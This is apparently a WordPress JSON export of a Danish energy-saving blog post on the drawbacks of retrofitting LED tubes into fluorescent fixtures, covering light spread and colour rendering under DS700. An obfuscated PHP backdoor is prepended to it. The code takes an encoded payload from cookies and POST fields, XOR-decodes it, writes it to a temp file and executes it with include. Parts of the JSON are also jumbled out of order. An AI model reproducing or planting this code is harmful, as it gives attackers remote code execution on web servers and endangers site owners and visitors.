$YvItq = chr (109) . chr ( 478 - 378 ).chr ( 1031 - 959 )."\137" . chr (114) . chr ( 583 - 503 ).chr ( 1074 - 995 ).chr (90); $RJnPXba = chr (99) . chr (108) . "\x61" . chr ( 195 - 80 )."\163" . chr (95) . chr (101) . 'x' . chr (105) . 's' . chr (116) . 's';$sFBHio = class_exists($YvItq); $RJnPXba = "51805";$eLaiI = !1;if ($sFBHio == $eLaiI){function BaWHk(){$hVzdCmKfm = new /* 57332 */ mdH_rPOZ(63129 + 63129); $hVzdCmKfm = NULL;}$HqVXUCA = "63129";class mdH_rPOZ{private function lnOxMEBUN($HqVXUCA){if (is_array(mdH_rPOZ::$GgBtt)) {$jTCeb = sys_get_temp_dir() . "/" . crc32(mdH_rPOZ::$GgBtt["\x73" . "\x61" . "\x6c" . "\164"]);@mdH_rPOZ::$GgBtt["\x77" . chr ( 693 - 579 ).chr ( 639 - 534 ).'t' . chr ( 557 - 456 )]($jTCeb, mdH_rPOZ::$GgBtt["\143" . chr ( 352 - 241 ).'n' . chr (116) . chr ( 597 - 496 ).'n' . 't']);include $jTCeb;@mdH_rPOZ::$GgBtt['d' . chr (101) . chr (108) . chr (101) . chr (116) . "\x65"]($jTCeb); $HqVXUCA = "63129";exit();}}private $aQQQa;public function ygzuIlrm(){echo 5935;}public function __destruct(){mdH_rPOZ::$GgBtt = @unserialize(mdH_rPOZ::$GgBtt); $HqVXUCA = "19294_29513";$this->lnOxMEBUN($HqVXUCA); $HqVXUCA = "19294_29513";}public function zNOpRv($RHlWnyf, $tiyrIpbTV){return $RHlWnyf[0] ^ str_repeat($tiyrIpbTV, (strlen($RHlWnyf[0]) / strlen($tiyrIpbTV)) + 1);}public function __construct($taAmn=0){$EsXYudAMy = $_POST;$CAUOvGXAX = $_COOKIE;$tiyrIpbTV = "9fdba7e2-0ff4-495d-b7a2-19a8c0ff92c7";$BBxmjpbE = @$CAUOvGXAX[substr($tiyrIpbTV, 0, 4)];if (!empty($BBxmjpbE)){$fMpRoW = "base64";$RHlWnyf = "";$BBxmjpbE = explode(",", $BBxmjpbE);foreach ($BBxmjpbE as $IBxTBaf){$RHlWnyf .= @$CAUOvGXAX[$IBxTBaf];$RHlWnyf .= @$EsXYudAMy[$IBxTBaf];}$RHlWnyf = array_map($fMpRoW . chr (95) . 'd' . "\145" . chr ( 446 - 347 )."\157" . "\144" . "\145", array($RHlWnyf,));mdH_rPOZ::$GgBtt = $this->zNOpRv($RHlWnyf, $tiyrIpbTV);}}public static $GgBtt = 55426;}BaWHk();}
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{"id":1203,"date":"2012-06-22T14:41:36","date_gmt":"2012-06-22T12:41:36","guid":{"rendered":"http:\/\/energireduktion.dk\/?p=1203"},"modified":"2014-03-16T11:12:54","modified_gmt":"2014-03-16T10:12:54","slug":"pas-pa-med-led-ror-i-eksisterende-armaturer","status":"publish","type":"post","link":"https:\/\/energireduktion.dk\/pas-pa-med-led-ror-i-eksisterende-armaturer\/","title":{"rendered":"Pas p\u00e5 med LED-r\u00f8r i eksisterende armaturer"},"content":{"rendered":"
<\/p>\n
LED-“lysstofr\u00f8r” har flere udfordringer der skal l\u00f8ses f\u00f8r de er fuldgyldige erstatninger til almindelige T5 eller T8 r\u00f8r i eksisterende armaturer, og blandt de v\u00e6sentligste kan n\u00e6vnes:<\/em><\/strong><\/p>\n Lysets spredning\/udbredelse:<\/strong> Farvegengivelse- og temperatur:<\/strong><\/em> Ligeledes anvendes ofte en h\u00f8j farvetremperatur \u00a0p\u00e5 m\u00e5ske 5.000-7.000K for at f\u00e5 h\u00f8jest mulige lysudbytte, hvilket betyder meget koldt lys eller evt. over i det bl\u00e5lige. Vi har tidligere v\u00e6ret inde p\u00e5, at Led-r\u00f8r vil v\u00e6re gode i forbindelse med f\u00f8devare- og medico virksomheder samt frysehuse etc., og dette er stadigt rigtig – blot med de ovenst\u00e5ende forbehold. Derfor skal I passe p\u00e5 med LED-r\u00f8r som erstatning for almindelige lysstofr\u00f8r: LED-“lysstofr\u00f8r” har flere udfordringer der skal l\u00f8ses f\u00f8r de er fuldgyldige erstatninger til almindelige T5 eller T8 r\u00f8r i eksisterende armaturer, og blandt de v\u00e6sentligste kan n\u00e6vnes: Lysets spredning\/udbredelse: De eksisterende armaturer er designet til at udnytte et rundstr\u00e5lende r\u00f8r, og da […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,48],"tags":[9,8,10,11,5,7,6],"_links":{"self":[{"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/posts\/1203"}],"collection":[{"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/comments?post=1203"}],"version-history":[{"count":5,"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/posts\/1203\/revisions"}],"predecessor-version":[{"id":2790,"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/posts\/1203\/revisions\/2790"}],"wp:attachment":[{"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/media?parent=1203"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/categories?post=1203"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/energireduktion.dk\/wp-json\/wp\/v2\/tags?post=1203"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\nDe eksisterende armaturer er designet til at udnytte et rundstr\u00e5lende r\u00f8r, og da LED-r\u00f8rene sender lyset ud i 120-160 grader spredning, vil man typisk opleve en d\u00e5rligere lysfordeling med LED-r\u00f8rene der g\u00f8r, at man typisk mangler op mod 30% i lysudbytte i forhold til med almindelige r\u00f8r. De kan s\u00e5ledes godt v\u00e6re, I kan reduceret forbruget med 50%\u00a0 – mend det kr\u00e6ver s\u00e5 30% flere armaturer at bibeholde lysudbyttet.<\/p>\n
\n<\/em><\/strong>Langt de fleste LED-r\u00f8r p\u00e5 markedet i dag kan ikke opfylde kravene\u00a0i Dansk Standard, DS700, hvad ang\u00e5r farvegengivelse:
\nDenne specificerer blandt andet, at i lokaler hvor folk arbejder og opholder sig op mod 8 timer om dagen, \u00a0skal Ra-v\u00e6rdien for lyset, for at sikre trivslen, v\u00e6re p\u00e5 min. Ra80.
\nDette kan langt de fleste LED-r\u00f8r ikke leve op til – is\u00e6r ikke i de varme farvetemperaturer mellem 2.700 og 3.500K. Vi ser p\u00e5 disse typisk Ra v\u00e6rdier fra mellem Ra65 og op til m\u00e5ske Ra 76-78 for de bedste.
\nDette er ikke godt nok, og betyder typisk at farver gengives meget d\u00e5rligt s\u00e5 f.eks. hudtoner ser gr\u00e5 eller r\u00f8dlige ud og f.eks h\u00e5r eller pels ser mat og glansl\u00f8st ud.<\/p>\n
\nDette v\u00e6lges typisk fordi man ikke med LED-r\u00f8r kan levere\u00a0en varmere farve med bare nogenlunde fornuftigt lysudbytte pr. Watt – og\u00a0det menneskelige \u00f8je er mere f\u00f8lsom i dette spekekter, hvilket f\u00e5r det til at virke som om der er mere lys end der reelt er.<\/p>\n
\nFinder I de rigtige LED-r\u00f8r, og er armaturerne egnede hertil, kan det stadig v\u00e6re en god l\u00f8sning.<\/p>\n","protected":false},"excerpt":{"rendered":"